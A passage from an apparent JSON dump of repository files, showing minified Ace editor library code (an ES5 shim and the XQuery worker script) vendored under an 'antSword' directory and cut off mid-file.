t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/ace/worker-xquery.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/xquery/xqlint\",[\"require\",\"exports\",\"module\",\"ace/mode/tree_ops\",\"ace/mode/xquery/errors\",\"ace/mode/tree_ops\",\"ace/mode/xquery/errors\",\"ace/mode/xquery/schema_built-in_types\",\"ace/mode/xquery/errors\",\"ace/mode/tree_ops\",\"ace/mode/xquery/static_context\",\"ace/mode/xquery/handlers\",\"ace/mode/tree_ops\",\"ace/mode/xquery/parsers/JSONiqParser\",\"ace/mode/xquery/parsers/XQueryParser\",\"ace/mode/xquery/parsers/JSONParseTreeHandler\",\"ace/mode/xquery/compiler/translator\",\"ace/mode/xquery/formatter/style_checker\",\"ace/mode/lib/completion/completer\",\"ace/mode/xquery/compiler/static_context\"],function(e,t,n){n.exports=function r(t,n,i){function s(u,a){if(!n[u]){if(!t[u]){var f=typeof e==\"function\"&&e;if(!a&&f)return f(u,!0);if(o)return o(u,!0);var l=new Error(\"Cannot find module '\"+u+\"'\");throw l.code=\"MODULE_NOT_FOUND\",l}var c=n[u]={exports:{}};t[u][0].call(c.exports,function(e){var n=t[u][1][e];return s(n?n:e)},c,c.exports,r,t,n,i)}return n[u].exports}var o=typeof e==\"function\"&&e;for(var u=0;u<i.length;u++)s(i[u]);return s}({1:[function(e,t,n){\"use strict\";var r=function(e,t,n,r,i){if(!t)throw new Error(i+\" code is missing.\");if(!n)throw new Error(i+\" message is missing.\");if(!r)throw new Error(i+\" position is missing.\");e.getCode=function(){return t},e.getMessage=function(){return n},e.getPos=function(){return r}},i={},s={};i.prototype=new Error,s.prototype=new Error,n.StaticError=i.prototype.constructor=function(e,t,n){r(this,e,t,n,\"Error\")},n.StaticWarning=s.prototype.constructor=function(e,t,n){r(this,e,t,n,\"Warning\")}},{}],2:[function(e,t,n){\"use strict\";var r=e(\"../tree_ops\").TreeOps,i=e(\"./errors\"),s=i.StaticWarning;n.ModuleDecl=function(e,t,n){var i=\"\";return{NCName:function(e){i=r.flatten(e)},URILiteral:function(s){s=r.flatten(s),s=s.substring(1,s.length-1),e.apply(function(){t.moduleNamespace=s,t.addNamespace(s,i,n.pos,\"moduleDecl\")})}}},n.ModuleImport=function(e,t,n){var i=\"\",s;return{NCName:function(e){i=r.flatten(e)},URILiteral:function(o){if(s!==undefined)return;o=r.flatten(o),o=o.substring(1,o.length-1),s=o,e.apply(function(){t.importModule(o,i,n.pos)})}}},n.SchemaImport=function(e,t,n){var i=\"\",s;return{SchemaPrefix:function(t){var n=function(){this.NCName=function(e){i=r.flatten(e)}};e.visitChildren(t,new n)},URILiteral:function(o){if(s!==undefined)return;o=r.flatten(o),o=o.substring(1,o.length-1),s=o,e.apply(function(){t.addNamespace(o,i,n.pos,\"schema\")})}}},n.DefaultNamespaceDecl=function(e,t,n){var i=!1,o=\"\";return{TOKEN:function(e){i=i?!0:e.value===\"function\"},URILiteral:function(u){o=r.flatten(u),o=o.substring(1,o.length-1),i?t.defaultFunctionNamespace=o:(e.apply(function(){throw new s(\"W06\",\"Avoid default element namespace declarations.\",n.pos)}),t.defaultElementNamespace=o)}}},n.NamespaceDecl=function(e,t,n){var i=\"\";return{NCName:function(e){i=r.flatten(e)},URILiteral:function(s){s=r.flatten(s),s=s.substring(1,s.length-1),e.apply(function(){t.addNamespace(s,i,n.pos,\"declare\")})}}},n.VarHandler=function(e,t,n){var i=function(i){var s=r.flatten(i);e.apply(function(){var e=t.resolveQName(s,i.pos);t.addVariable(e,n.name,i.pos)})};return{ExprSingle:function(){return!0},VarValue:function(){return!0},VarDefaultValue:function(){return!0},VarName:i,EQName:i}},n.VarRefHandler=function(e,t,n){return{VarName:function(i){var s=r.flatten(i);e.apply(function(){var e=t.resolveQName(s,n.pos);e.uri!==\"\"&&(t.root.namespaces[e.uri].used=!0),t.addVarRef(e,i.pos)})}}}},{\"../tree_ops\":11,\"./errors\":1}],3:[function(e,t,n){\"use strict\";n.getSchemaBuiltinTypes=function(){var e=\"http://www.w3.org/2001/XMLSchema\",t={};return t[e]={variables:{},functions:{}},t[e].functions[e+\"#string#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"string\",arity:1,eqname:{uri:e,name:\"string\"}},t[e].functions[e+\"#boolean#1\"]={params:[\"$arg as 